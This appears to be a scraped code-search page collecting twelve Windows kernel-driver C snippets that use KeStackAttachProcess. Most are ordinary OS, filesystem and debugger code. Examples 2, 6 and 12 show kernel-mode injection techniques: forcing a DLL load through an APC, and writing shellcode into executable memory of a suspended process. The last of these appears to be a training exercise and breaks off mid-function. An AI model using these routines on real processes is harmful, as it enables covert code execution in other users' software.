Example #1
1
File: pe.c Project: ainfosec/MoRE
uint32 peChecksumExecSections(uint8 *peBaseAddr, 
                              void *realBase, 
                              PEPROCESS proc, 
                              PKAPC_STATE apc, 
                              PHYSICAL_ADDRESS *physArr)
{
    uint16 numExecSections = peGetNumExecSections(peBaseAddr);
    uint32 checksum = 0, k, i, j, 
                        numRelocs = peGetNumberOfRelocs(peBaseAddr, realBase, proc, apc), 
                        relocDelta = peCalculateRelocDiff(peBaseAddr, realBase);
    uint8 *dataPtr = NULL;
    PHYSICAL_ADDRESS phys = {0};
    SectionData *execSections = (SectionData *) MmAllocateNonCachedMemory(
                                                numExecSections * sizeof(SectionData));
    peGetExecSections(peBaseAddr, execSections);
    
    //DbgPrint("Found %d relocations, delta of: %x\r\n", numRelocs, relocDelta);
    
    for (i = 0; i < numExecSections; i++)
    {   
        uint32 numpages = execSections[i].Size / 0x1000, size = execSections[i].Size;
        if (numpages * 0x1000 < execSections[i].Size)
            numpages++;
        for (k = 0; k < numpages; k++)
        {
            KeStackAttachProcess(proc, apc); 
            dataPtr = (uint8 *) MmMapIoSpace(MmGetPhysicalAddress((void *)(((uint32) realBase) +
                        execSections[i].VirtualAddress + (0x1000 * k))),
                        0x1000, 0);
            phys = MmGetPhysicalAddress((void *) dataPtr);

            for (j = 0; j < min(size, 0x1000); j++)
            {
                checksum += dataPtr[j];
            }
            MmUnmapIoSpace((void *) dataPtr, 0x1000);
            size -= 0x1000;
            KeUnstackDetachProcess(apc);
        }
    }
    
    // Subtract the relocations from the checksum
    // TODO Fix incase of lower load address
    checksum += numRelocs * (relocDelta & 0x000000FF);
    checksum += numRelocs * ((relocDelta & 0x0000FF00) >> 8);
    checksum += numRelocs * ((relocDelta & 0x00FF0000) >> 16);
    checksum += numRelocs * ((relocDelta & 0xFF000000) >> 24);
    
    
    MmFreeNonCachedMemory((void *) execSections, numExecSections * sizeof(SectionData));
    return checksum;
}
Example #2
1
NTSTATUS DllInject(HANDLE hProcessID, PEPROCESS pepProcess, PKTHREAD pktThread)
{
	HANDLE hProcess;
	OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
	CLIENT_ID cidProcess;
	PVOID pvMemory = 0;
	DWORD dwSize = 0x1000;

	cidProcess.UniqueProcess = hProcessID;
	cidProcess.UniqueThread = 0;
	if (NT_SUCCESS(ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oaAttributes, &cidProcess)))
	{
		if (NT_SUCCESS(ZwAllocateVirtualMemory(hProcess, &pvMemory, 0, &dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)))
		{
			KAPC_STATE kasState;
			PKAPC pkaApc;
			PVOID FunctionAddress;

			KeStackAttachProcess((PKPROCESS)pepProcess, &kasState);

			FunctionAddress = GetProcAddressInModule(L"kernel32.dll", "LoadLibraryExW");
			if (!FunctionAddress) DbgPrint("GetProcAddressInModule error\n");

			wcscpy((PWCHAR)pvMemory, g_wcDllName);

			KeUnstackDetachProcess(&kasState);

			pkaApc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
			if (pkaApc)
			{
				KeInitializeApc(pkaApc, pktThread, 0, APCKernelRoutine, 0, (PKNORMAL_ROUTINE)FunctionAddress, UserMode, pvMemory);
				KeInsertQueueApc(pkaApc, 0, 0, IO_NO_INCREMENT);

				return STATUS_SUCCESS;
			}
		}
		else
		{
			DbgPrint("ZwAllocateVirtualMemory error\n");
		}

		ZwClose(hProcess);
	}
	else
	{
		DbgPrint("ZwOpenProcess error\n");
	}

	return STATUS_NO_MEMORY;
}
Example #3
0
/* attach to GUI process. */
NTSTATUS AttachGuiProcess( PKAPC_STATE pApcStatus )
{
	NTSTATUS	status=STATUS_SUCCESS;
	ULONG		osMajor = 0;
	PEPROCESS	csrssEproc;


	//获取os主板本号
	status = PsGetVersion( &osMajor, NULL, NULL, NULL );
	if ( NT_SUCCESS(status) )
	{
		//vista以上不兼容
		if (osMajor != 6)
		{
			//获取Csrss.exe进程EPROCESS
			status=PsLookupProcessByProcessId( (PVOID)GetCsrssPid(), &csrssEproc);
			if ( !NT_SUCCESS(status) )
			{
				KdPrint(("attach to GUI process failed!\n"));
				return STATUS_UNSUCCESSFUL;
			}
		}
	}

	// StackAttach(guiEproc, ApcStatus)
	KeStackAttachProcess(csrssEproc, pApcStatus);
	return status;
}
Example #4
0
static VOID FspFsvolSetSecurityRequestFini(FSP_FSCTL_TRANSACT_REQ *Request, PVOID Context[4])
{
    PAGED_CODE();

    FSP_FILE_NODE *FileNode = Context[RequestFileNode];
    HANDLE AccessToken = Context[RequestAccessToken];
    PEPROCESS Process = Context[RequestProcess];

    if (0 != FileNode)
        FspFileNodeReleaseOwner(FileNode, Full, Request);

    if (0 != AccessToken)
    {
        KAPC_STATE ApcState;
        BOOLEAN Attach;

        ASSERT(0 != Process);
        Attach = Process != PsGetCurrentProcess();

        if (Attach)
            KeStackAttachProcess(Process, &ApcState);
#if DBG
        NTSTATUS Result0;
        Result0 = ObCloseHandle(AccessToken, UserMode);
        if (!NT_SUCCESS(Result0))
            DEBUGLOG("ObCloseHandle() = %s", NtStatusSym(Result0));
#else
        ObCloseHandle(AccessToken, UserMode);
#endif
        if (Attach)
            KeUnstackDetachProcess(&ApcState);

        ObDereferenceObject(Process);
    }
}
Example #5
0
BOOL SwitchToSpecifiedProcessAddressSpace(HANDLE ProcessId, OUT PKAPC_STATE ApcState) {
	if (ApcState == NULL) return FALSE;
	PEPROCESS Process = GetProcessObjectByProcessId(ProcessId);
	BOOL Status = Process != NULL;
	if (Status) KeStackAttachProcess(Process, ApcState);
	DereferenceObject(Process);
	return Status;
}
Example #6
0
/// <summary>
/// Allocate/Free process memory
/// </summary>
/// <param name="pAllocFree">Request params.</param>
/// <param name="pResult">Allocated region info.</param>
/// <returns>Status code</returns>
NTSTATUS BBAllocateFreeMemory( IN PALLOCATE_FREE_MEMORY pAllocFree, OUT PALLOCATE_FREE_MEMORY_RESULT pResult )
{
    NTSTATUS status = STATUS_SUCCESS;
    PEPROCESS pProcess = NULL;

    ASSERT( pResult != NULL );
    if (pResult == NULL)
        return STATUS_INVALID_PARAMETER;

    status = PsLookupProcessByProcessId( (HANDLE)pAllocFree->pid, &pProcess );
    if (NT_SUCCESS( status ))
    {
        KAPC_STATE apc;
        PVOID base = (PVOID)pAllocFree->base;
        ULONG_PTR size = pAllocFree->size;

        KeStackAttachProcess( pProcess, &apc );

        if (pAllocFree->allocate)
        {
            if (pAllocFree->physical != FALSE)
            {
                status = BBAllocateFreePhysical( pProcess, pAllocFree, pResult );
            }
            else
            {
                status = ZwAllocateVirtualMemory( ZwCurrentProcess(), &base, 0, &size, pAllocFree->type, pAllocFree->protection );
                pResult->address = (ULONGLONG)base;
                pResult->size = size;
            }
        }
        else
        {
            MI_VAD_TYPE vadType = VadNone;
            BBGetVadType( pProcess, pAllocFree->base, &vadType );

            if (vadType == VadDevicePhysicalMemory)
                status = BBAllocateFreePhysical( pProcess, pAllocFree, pResult );
            else
                status = ZwFreeVirtualMemory( ZwCurrentProcess(), &base, &size, pAllocFree->type );
        }

        KeUnstackDetachProcess( &apc );        
    }
    else
        DPRINT( "BlackBone: %s: PsLookupProcessByProcessId failed with status 0x%X\n", __FUNCTION__, status );

    if (pProcess)
        ObDereferenceObject( pProcess );

    return status;
}
Example #7
0
static
VOID
KdbCommand_Gdi_handle(char *argv)
{
    ULONG_PTR ulObject;
    BASEOBJECT *pobj;
    ENTRY *pentry;
    USHORT usIndex;
    KAPC_STATE ApcState;

    /* Convert the parameter into a number */
    if (!KdbGetHexNumber(argv, &ulObject))
    {
        DbgPrint("Invalid parameter: %s\n", argv);
        return;
    }

    /* No CSRSS, no handle table */
    if (!gpepCSRSS) return;
    KeStackAttachProcess(&gpepCSRSS->Pcb, &ApcState);

    usIndex = ulObject & 0xFFFF;
    pentry = &gpentHmgr[usIndex];

    if (MmIsAddressValid(pentry))
    {
        pobj = pentry->einfo.pobj;

        DbgPrint("GDI handle=%p, type=%s, index=0x%lx, pentry=%p.\n",
                 ulObject, gpszObjectTypes[(ulObject >> 16) & 0x1f],
                 usIndex, pentry);
        DbgPrint(" ENTRY = {.pobj = %p, ObjectOwner = 0x%lx, FullUnique = 0x%04x,\n"
                 "  Objt=0x%02x, Flags = 0x%02x, pUser = 0x%p}\n",
                 pentry->einfo.pobj, pentry->ObjectOwner.ulObj, pentry->FullUnique,
                 pentry->Objt, pentry->Flags, pentry->pUser);
        DbgPrint(" BASEOBJECT = {hHmgr = %p, dwThreadId = 0x%lx,\n"
                 "  cExclusiveLock = %ld, BaseFlags = 0x%lx}\n",
                 pobj->hHmgr, pobj->dwThreadId,
                 pobj->cExclusiveLock, pobj->BaseFlags);
        if (MmIsAddressValid(&gpaulRefCount[usIndex]))
            DbgPrint(" gpaulRefCount[idx] = %ld\n", gpaulRefCount[usIndex]);
    }
    else
    {
Example #8
0
VOID
NTAPI
PspDeleteProcess(IN PVOID ObjectBody)
{
    PEPROCESS Process = (PEPROCESS)ObjectBody;
    KAPC_STATE ApcState;
    PAGED_CODE();
    PSTRACE(PS_KILL_DEBUG, "ObjectBody: %p\n", ObjectBody);
    PSREFTRACE(Process);

    /* Check if it has an Active Process Link */
    if (Process->ActiveProcessLinks.Flink)
    {
        /* Remove it from the Active List */
        KeAcquireGuardedMutex(&PspActiveProcessMutex);
        RemoveEntryList(&Process->ActiveProcessLinks);
        Process->ActiveProcessLinks.Flink = NULL;
        Process->ActiveProcessLinks.Blink = NULL;
        KeReleaseGuardedMutex(&PspActiveProcessMutex);
    }

    /* Check for Auditing information */
    if (Process->SeAuditProcessCreationInfo.ImageFileName)
    {
        /* Free it */
        ExFreePoolWithTag(Process->SeAuditProcessCreationInfo.ImageFileName,
                          TAG_SEPA);
        Process->SeAuditProcessCreationInfo.ImageFileName = NULL;
    }

    /* Check if we have a job */
    if (Process->Job)
    {
        /* Remove the process from the job */
        PspRemoveProcessFromJob(Process, Process->Job);

        /* Dereference it */
        ObDereferenceObject(Process->Job);
        Process->Job = NULL;
    }

    /* Increase the stack count */
    Process->Pcb.StackCount++;

    /* Check if we have a debug port */
    if (Process->DebugPort)
    {
        /* Deference the Debug Port */
        ObDereferenceObject(Process->DebugPort);
        Process->DebugPort = NULL;
    }

    /* Check if we have an exception port */
    if (Process->ExceptionPort)
    {
        /* Deference the Exception Port */
        ObDereferenceObject(Process->ExceptionPort);
        Process->ExceptionPort = NULL;
    }

    /* Check if we have a section object */
    if (Process->SectionObject)
    {
        /* Deference the Section Object */
        ObDereferenceObject(Process->SectionObject);
        Process->SectionObject = NULL;
    }

#if defined(_X86_)
    /* Clean Ldt and Vdm objects */
    PspDeleteLdt(Process);
    PspDeleteVdmObjects(Process);
#endif

    /* Delete the Object Table */
    if (Process->ObjectTable)
    {
        /* Attach to the process */
        KeStackAttachProcess(&Process->Pcb, &ApcState);

        /* Kill the Object Info */
        ObKillProcess(Process);

        /* Detach */
        KeUnstackDetachProcess(&ApcState);
    }

    /* Check if we have an address space, and clean it */
    if (Process->HasAddressSpace)
    {
        /* Attach to the process */
        KeStackAttachProcess(&Process->Pcb, &ApcState);

        /* Clean the Address Space */
        PspExitProcess(FALSE, Process);

        /* Detach */
        KeUnstackDetachProcess(&ApcState);

        /* Completely delete the Address Space */
        MmDeleteProcessAddressSpace(Process);
    }

    /* See if we have a PID */
    if (Process->UniqueProcessId)
    {
        /* Delete the PID */
        if (!(ExDestroyHandle(PspCidTable, Process->UniqueProcessId, NULL)))
        {
            /* Something wrong happened, bugcheck */
            KeBugCheck(CID_HANDLE_DELETION);
        }
    }

    /* Cleanup security information */
    PspDeleteProcessSecurity(Process);

    /* Check if we have kept information on the Working Set */
    if (Process->WorkingSetWatch)
    {
        /* Free it */
        ExFreePool(Process->WorkingSetWatch);

        /* And return the quota it was taking up */
        PsReturnProcessNonPagedPoolQuota(Process, 0x2000);
    }

    /* Dereference the Device Map */
    ObDereferenceDeviceMap(Process);

    /* Destroy the Quota Block */
    PspDestroyQuotaBlock(Process);
}
Example #9
0
// This runs at a lower IRQL, so it can use the kernel memory functions
void processCreationMonitor(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create)
{
    PEPROCESS proc = NULL;
    void *PeHeaderVirt = NULL;
    uint16 numExecSections = 0;
    uint8 *pePtr = NULL;
    PHYSICAL_ADDRESS phys = {0};
    char *procName;
    uint32 imageSize, translations = (uint32) translationArr;
    
    NTSTATUS status = STATUS_SUCCESS;
    HANDLE periodMeasureThreadHandle = NULL;
    OBJECT_ATTRIBUTES objectAttributes = {0};
    
    // Set to anywhere inthe 4GB range
    highestMemoryAddress.LowPart = ~0;
    
    // Get the 8.3 image name
    PsLookupProcessByProcessId(ProcessId, &proc);
    procName = PsGetProcessImageFileName(proc);
    
    // Check if this is the target process
    if(strncmp(TargetAppName, procName, strlen(TargetAppName)) == 0)
    {
        if (Create && VDEBUG) DbgPrint("New Process Created! %s\r\n", procName); 
        if (!Create && VDEBUG) DbgPrint("Application quitting %s\r\n", procName);   
            
        // Retrieve virtual pointer to the PE header for target application (in PE context)
        PeHeaderVirt = PsGetProcessSectionBaseAddress(proc);
        //DbgPrint("Virt: %x", PeHeaderVirt);
        
        // Begin critical section
        // Attach to the target process and grab its CR3 value to use later
        KeStackAttachProcess(proc, &apcstate); 
        
        if (Create)
        {
            __asm
            {
                push eax
                mov eax, cr3
                mov targetCR3, eax
                pop eax
            }   
        }
        
        phys = MmGetPhysicalAddress(PeHeaderVirt);            
        KeUnstackDetachProcess(&apcstate);
        // End critical section
        
        targetPePhys = phys;
        targetPeVirt = PeHeaderVirt;
        targetProc = proc;
        
        if (Create)
        {
            targetPePtr = peMapInImageHeader(phys);
            imageSize = peGetImageSize(targetPePtr);
            if (VDEBUG) DbgPrint("Image Size: %x bytes Num Entries %d\r\n", imageSize, sizeof(TlbTranslation) * (imageSize / PAGE_SIZE));
            DbgPrint("Virt %x - %x %x\r\n", PeHeaderVirt, (uint32) PeHeaderVirt + imageSize, targetCR3);
        
            // Ensure Windows doesn't reuse the physical pages
            LockedMdl = pagingLockProcessMemory(PeHeaderVirt, imageSize, proc, &apcstate);
            if(LockedMdl == NULL && VDEBUG)
            {
                DbgPrint("Unable to lock memory\r\n");
            }
            appsize = imageSize;
            appCopy = (uint8 *) MmAllocateContiguousMemory(imageSize, highestMemoryAddress);
            RtlZeroMemory((void *) appCopy, imageSize);
            copyPe(proc, &apcstate, PeHeaderVirt, appCopy, imageSize);
            translationArr = allocateAndFillTranslationArray(PeHeaderVirt, 
                                                             appCopy, 
                                                             imageSize, 
                                                             proc, 
                                                             &apcstate);
                                                             
            translations = (uint32) translationArr;
            // VMCALL to start the TLB splitting
        	__asm
        	{
        		PUSHAD
        		MOV		EAX, VMCALL_INIT_SPLIT
                MOV     EBX, translations
        
        		_emit 0x0F		// VMCALL
        		_emit 0x01
        		_emit 0xC1
        
        		POPAD
        	}
            
            if (VDEBUG) DbgPrint("Checksum of proc: %x\r\n", 
                             peChecksumExecSections(targetPePtr, PeHeaderVirt, 
                                                    proc, &apcstate, targetPhys));
                             
            //pePrintSections(pePtr);
                             
#ifdef PERIODIC_MEASURE
            /* Set up periodic measurement thread */
            KeInitializeEvent(&periodicMeasureThreadWakeUp, NotificationEvent, FALSE); //returns void
            InitializeObjectAttributes(&objectAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); //returns void
        
            periodicMeasureThreadExecute = 1; //allows thread to execute
            status = PsCreateSystemThread(&periodMeasureThreadHandle,
                            THREAD_ALL_ACCESS, &objectAttributes, NULL, NULL,
                            periodicMeasurePe, NULL);
            status = ObReferenceObjectByHandle(periodMeasureThreadHandle, 0, NULL,
                                               KernelMode, &periodicMeasureThread, NULL);
            ZwClose(periodMeasureThreadHandle); //don't need the handle anymore, ref will remain valid
#endif

        }
        else
        {
            translations = (uint32) translationArr;
            // VMCALL to stop TLB splitting
        	__asm
        	{
        		PUSHAD
        		MOV		EAX, VMCALL_END_SPLIT
                MOV     EBX, translations
        
        		_emit 0x0F		// VMCALL
        		_emit 0x01
        		_emit 0xC1
        
        		POPAD
        	}
            if (LockedMdl != NULL)
            {
               pagingUnlockProcessMemory(proc, &apcstate, LockedMdl);
            }
            
            if (appCopy != NULL)
            {
                MmFreeContiguousMemory((PVOID) appCopy);
            }
            
            if (translationArr != NULL)
            {
                freeTranslationArray(translationArr);
            }

            targetCR3 = 0;
            
#ifdef PERIODIC_MEASURE
            /* Stop the periodic measurement thread */
            periodicMeasureThreadExecute = 0; // Apply brakes
            KeSetEvent(&periodicMeasureThreadWakeUp, 0, TRUE); // Cancel any current wait in the thread
            /* Wait for thread to stop */
            KeWaitForSingleObject(periodicMeasureThread, 
                                  Executive, 
                                  KernelMode, 
                                  FALSE, 
                                  NULL); 
        
            ObDereferenceObject(periodicMeasureThread);
#endif
            peMapOutImageHeader(targetPePtr);
            targetPeVirt = NULL;
        }
        return;        
    }
Example #10
0
VOID
ExpDebuggerWorker(
    IN PVOID Context
    )
/*++

Routine Description:

    This is a worker thread for the kernel debugger that can be used to
    perform certain tasks on the target machine asynchronously.
    This is necessary when the machine needs to run at Dispatch level to
    perform certain operations, such as paging in data.

Arguments:

    Context - not used as this point.

Return Value:

    None.

--*/

{
    NTSTATUS Status;
    KAPC_STATE  ApcState;
    volatile UCHAR Data;
    PRKPROCESS  KillProcess = (PRKPROCESS) ExpDebuggerProcessKill;
    PRKPROCESS  AttachProcess = (PRKPROCESS) ExpDebuggerProcessAttach;
    PUCHAR PageIn = (PUCHAR) ExpDebuggerPageIn;
    PEPROCESS Process;

    ExpDebuggerProcessKill = 0;
    ExpDebuggerProcessAttach = 0;
    ExpDebuggerPageIn = 0;

    UNREFERENCED_PARAMETER (Context);

#if DBG
    if (ExpDebuggerWork != 2)
    {
        DbgPrint("ExpDebuggerWorker being entered with state != 2\n");
    }
#endif

    ExpDebuggerWork = 0;


    Process = NULL;
    if (AttachProcess || KillProcess) {
        for (Process =  PsGetNextProcess (NULL);
             Process != NULL;
             Process =  PsGetNextProcess (Process)) {
            if (&Process->Pcb ==  AttachProcess) {
                KeStackAttachProcess (AttachProcess, &ApcState);
                break;
            }
            if (&Process->Pcb ==  KillProcess) {
                PsTerminateProcess(Process, DBG_TERMINATE_PROCESS);
                PsQuitNextProcess (Process);
                return;
            }
        }
    }

    if (PageIn) {
        try {
            Data = ProbeAndReadUchar (PageIn);
        } except (EXCEPTION_EXECUTE_HANDLER) {
            Status = GetExceptionCode();
        }
    }

    DbgBreakPointWithStatus(DBG_STATUS_WORKER);

    if (Process != NULL) {
        KeUnstackDetachProcess (&ApcState);
        PsQuitNextProcess (Process);
    }

    return;
}
Example #11
0
NTSTATUS
NtClose (
    IN HANDLE Handle
    )

/*++

Routine Description:

    This function is used to close access to the specified handle

Arguments:

    Handle - Supplies the handle being closed

Return Value:

    An appropriate status value

--*/

{
    PHANDLE_TABLE ObjectTable;
    PHANDLE_TABLE_ENTRY ObjectTableEntry;
    PVOID Object;
    ULONG CapturedGrantedAccess;
    ULONG CapturedAttributes;
    POBJECT_HEADER ObjectHeader;
    POBJECT_TYPE ObjectType;
    NTSTATUS Status;
    BOOLEAN AttachedToProcess = FALSE;
    KAPC_STATE ApcState;

    //
    //  Protect ourselves from being interrupted while we hold a handle table
    //  entry lock
    //

    KeEnterCriticalRegion();

    try {

    #if DBG
        KIRQL SaveIrql;
    #endif // DBG

        ObpValidateIrql( "NtClose" );

        ObpBeginTypeSpecificCallOut( SaveIrql );

    #if DBG

        //
        //  On checked builds, check that if the Kernel handle bit is set, then
        //  we're coming from Kernel mode. We should probably fail the call if
        //  bit set && !Kmode
        //

        if ((Handle != NtCurrentThread()) && (Handle != NtCurrentProcess())) {

            ASSERT((Handle < 0 ) ? (KeGetPreviousMode() == KernelMode) : TRUE);
        }

    #endif
        //
        //  For the current process we will grab its handle/object table and
        //  translate the handle to its corresponding table entry.  If the
        //  call is successful it also lock down the handle table.  But first
        //  check for a kernel handle and attach and use that table if so.
        //

        if (IsKernelHandle( Handle, KeGetPreviousMode() ))  {

            Handle = DecodeKernelHandle( Handle );

            ObjectTable = ObpKernelHandleTable;

            //
            //  Go to the system process if we have to
            //
            if (PsGetCurrentProcess() != PsInitialSystemProcess) {
               KeStackAttachProcess (&PsInitialSystemProcess->Pcb, &ApcState);
               AttachedToProcess = TRUE;
            }

        } else {

            ObjectTable = ObpGetObjectTable();
        }

        ObjectTableEntry = ExMapHandleToPointer( ObjectTable,
                                                 Handle );

        //
        //  Check that the specified handle is legitimate otherwise we can
        //  assume the caller just passed in some bogus handle value
        //

        if (ObjectTableEntry != NULL) {

            //
            //  From the object table entry we can grab a pointer to the object
            //  header, get its type and its body
            //

            ObjectHeader = (POBJECT_HEADER)(((ULONG_PTR)(ObjectTableEntry->Object)) & ~OBJ_HANDLE_ATTRIBUTES);
            ObjectType = ObjectHeader->Type;
            Object = &ObjectHeader->Body;

            //
            //  If the object type specifies an okay to close procedure then we
            //  need to invoke that callback.  If the callback doesn't want us to
            //  close handle then unlock the object table and return the error
            //  to our caller
            //

            if (ObjectType->TypeInfo.OkayToCloseProcedure != NULL) {

                if (!(*ObjectType->TypeInfo.OkayToCloseProcedure)( PsGetCurrentProcess(), Object, Handle )) {

                    ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObjectType, Object );

                    ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

                    //
                    //  If we are attached to the system process then return
                    //  back to our caller
                    //

                    if (AttachedToProcess) {

                        KeUnstackDetachProcess(&ApcState);
                        AttachedToProcess = FALSE;
                    }

                    Status = STATUS_HANDLE_NOT_CLOSABLE;
                    leave;
                }
            }

            CapturedAttributes = ObjectTableEntry->ObAttributes;

            //
            //  If the previous mode was user and the handle is protected from
            //  being closed, then we'll either raise or return an error depending
            //  on the global flags and debugger port situation.
            //

            if ((CapturedAttributes & OBJ_PROTECT_CLOSE) != 0) {

                if (KeGetPreviousMode() != KernelMode) {

                    ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

                    if ((NtGlobalFlag & FLG_ENABLE_CLOSE_EXCEPTIONS) ||
                        (PsGetCurrentProcess()->DebugPort != NULL)) {

                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = KeRaiseUserException(STATUS_HANDLE_NOT_CLOSABLE);
                        leave;

                    } else {

                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = STATUS_HANDLE_NOT_CLOSABLE;
                        leave;
                    }

                } else {

                    if ((!PsIsThreadTerminating(PsGetCurrentThread())) &&
                        (PsGetCurrentProcess()->Peb != NULL)) {

                        ExUnlockHandleTableEntry( ObjectTable, ObjectTableEntry );

    #if DBG
                        //
                        //  bugcheck here on checked builds if kernel mode code is
                        //  closing a protected handle and process is not exiting.
                        //  Ignore if no PEB as this occurs if process is killed
                        //  before really starting.
                        //

                        KeBugCheckEx(INVALID_KERNEL_HANDLE, (ULONG_PTR)Handle, 0, 0, 0);
    #else
                        //
                        //  If we are attached to the system process then return
                        //  back to our caller
                        //

                        if (AttachedToProcess) {
                            KeUnstackDetachProcess(&ApcState);
                            AttachedToProcess = FALSE;
                        }

                        Status = STATUS_HANDLE_NOT_CLOSABLE;
                        leave;
    #endif // DBG

                    }
                }
            }

            //
            //  Get the granted access for the handle
            //

    #if defined(_X86_) && !FPO

            if (NtGlobalFlag & FLG_KERNEL_STACK_TRACE_DB) {

                CapturedGrantedAccess = ObpTranslateGrantedAccessIndex( ObjectTableEntry->GrantedAccessIndex );

            } else {

                CapturedGrantedAccess = ObjectTableEntry->GrantedAccess;
            }

    #else

            CapturedGrantedAccess = ObjectTableEntry->GrantedAccess;

    #endif // _X86_ && !FPO

            //
            //  Now remove the handle from the handle table
            //

            ExDestroyHandle( ObjectTable,
                             Handle,
                             ObjectTableEntry );

            //
            //  perform any auditing required
            //

            //
            //  Extract the value of the GenerateOnClose bit stored
            //  after object open auditing is performed.  This value
            //  was stored by a call to ObSetGenerateOnClosed.
            //

            if (CapturedAttributes & OBJ_AUDIT_OBJECT_CLOSE) {

                if ( SepAdtAuditingEnabled ) {

                    SeCloseObjectAuditAlarm( Object,
                                             (HANDLE)((ULONG_PTR)Handle & ~OBJ_HANDLE_TAGBITS),  // Mask off the tagbits defined for OB objects.
                                             TRUE );
                }
            }

            //
            //  Since we took the handle away we need to decrement the objects
            //  handle count, and remove a reference
            //

            ObpDecrementHandleCount( PsGetCurrentProcess(),
                                     ObjectHeader,
                                     ObjectHeader->Type,
                                     CapturedGrantedAccess );

            ObDereferenceObject( Object );

            ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObjectType, Object );

            //
            //  If we are attached to the system process then return
            //  back to our caller
            //

            if (AttachedToProcess) {
                KeUnstackDetachProcess(&ApcState);
                AttachedToProcess = FALSE;
            }

            //
            //  And return to our caller
            //

            Status = STATUS_SUCCESS;
            leave;

        } else {

            //
            //  At this point the input handle did not translate to a valid
            //  object table entry
            //

            ObpEndTypeSpecificCallOut( SaveIrql, "NtClose", ObpTypeObjectType, Handle );

            //
            //  If we are attached to the system process then return
            //  back to our caller
            //

            if (AttachedToProcess) {
                KeUnstackDetachProcess(&ApcState);
                AttachedToProcess = FALSE;
            }

            //
            //  Now if the handle is not null and it does not represent the
            //  current thread or process then if we're user mode we either raise
            //  or return an error
            //

            if ((Handle != NULL) &&
                (Handle != NtCurrentThread()) &&
                (Handle != NtCurrentProcess())) {

                if (KeGetPreviousMode() != KernelMode) {

                    if ((NtGlobalFlag & FLG_ENABLE_CLOSE_EXCEPTIONS) ||
                        (PsGetCurrentProcess()->DebugPort != NULL)) {

                        Status = KeRaiseUserException(STATUS_INVALID_HANDLE);
                        leave;

                    } else {

                        Status = STATUS_INVALID_HANDLE;
                        leave;
                    }

                } else {

                    //
                    //  bugcheck here if kernel debugger is enabled and if kernel mode code is
                    //  closing a bogus handle and process is not exiting.  Ignore
                    //  if no PEB as this occurs if process is killed before
                    //  really starting.
                    //

                    if (( !PsIsThreadTerminating(PsGetCurrentThread())) &&
                        (PsGetCurrentProcess()->Peb != NULL)) {

                        if (KdDebuggerEnabled) {
                            KeBugCheckEx(INVALID_KERNEL_HANDLE, (ULONG_PTR)Handle, 1, 0, 0);
                        }
                    }

                }
            }

            Status = STATUS_INVALID_HANDLE;
            leave;
        }

    } finally {

        KeLeaveCriticalRegion();
    }

    return Status;
}
Example #12
0
// injects the function UserApcNormalRoutine() as a user mode APC
// into the process selected by Process Pid
NTSTATUS
InjectApc(
    HANDLE ProcessId,
    PVOID User32MessageBoxA )
{
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    HANDLE ProcessHandle = NULL;
    PEPROCESS ProcessObject = NULL;
    BOOLEAN Attached = FALSE;
    BOOLEAN Suspended = FALSE;
    PCONTEXT_DATA ContextData = NULL;
    PUCHAR AllocationBase = NULL;
    SIZE_T AllocationSize;
    ULONG ShellcodeSize;
    PUCHAR ShellcodeBase;
    KAPC_STATE ApcState;

    // get the size of the shell code that will be copied into user VAS
    ShellcodeSize = (ULONG)Getx64FunctionSize ( (PVOID)UserApcNormalRoutine );

    if ( ! ShellcodeSize ) {
        DPF(("%s!%s Getx64FunctionSize(UserApcNormalRoutine) FAIL\n", __MODULE__, __FUNCTION__ ));
        goto Exit;
    }

    // Step #1 : Obtain the EPROCESS pointer from ProcessId (PsLookupProcessByProcessId())
    // and store it in ProcessObject
    if (!NT_SUCCESS(Status = PsLookupProcessByProcessId(ProcessId, &ProcessObject)))
    {
        DbgPrint("ERROR PsLookupProcessByProcessId (%x)\n", Status);
        goto Exit;
    }

    // Step #2 : Suspend the target process (PsSuspendProcess())
    if (!NT_SUCCESS(Status = PsSuspendProcess(ProcessObject)))
    {
        DbgPrint("ERROR PsSuspendProcess (%x)\n", Status);
        goto Exit;
    }

    Suspended = TRUE;

    // Step #3 : Attach to the target process (KeStackAttachProcess())
    KeStackAttachProcess(ProcessObject, &ApcState);
    Attached = TRUE;

    AllocationSize = ShellcodeSize + sizeof ( CONTEXT_DATA ) ;

    // Step #4 : Allocate memory in the target process large enough
    // to hold the shellcode and CONTEXT_DATA (ZwAllocateVirtualMemory())
    // and store the result in AllocationBase
    if (!NT_SUCCESS(Status = ZwAllocateVirtualMemory(NtCurrentProcess(), &AllocationBase, 0, &AllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)))
    {
        DbgPrint("ERROR ZwAllocateVirtualMemory (%x)\n", Status);
        goto Exit;
    }
    ProcessHandle = NULL;

    ShellcodeBase = AllocationBase;
    ContextData = (PCONTEXT_DATA)(AllocationBase + ShellcodeSize);

    // Step #5 : Copy the user mode APC code into the newly allocated 
    // memory (RtlCopyMemory()) i.e. @ ShellCodeBase
    RtlCopyMemory(ShellcodeBase, (PVOID)UserApcNormalRoutine, ShellcodeSize);

    //setup the context structure with data that will be required by the APC routine
    ContextData->ShellCodeBase = ShellcodeBase;
    ContextData->ShellCodeSize = ShellcodeSize;
    strncpy (  ContextData->Text, "Hello from Kernel", STRING_SIZE );
    strncpy (  ContextData->Caption, "P0wned", STRING_SIZE );
    //user32.dll base + offset of MessageBoxA;
    ContextData->MessageBox = (MESSAGEBOXA)User32MessageBoxA; 

    // queue the APC
    Status = RequestApc(
       ProcessId,
       ShellcodeBase,
       ContextData );

    if ( ! NT_SUCCESS( Status ) ) {
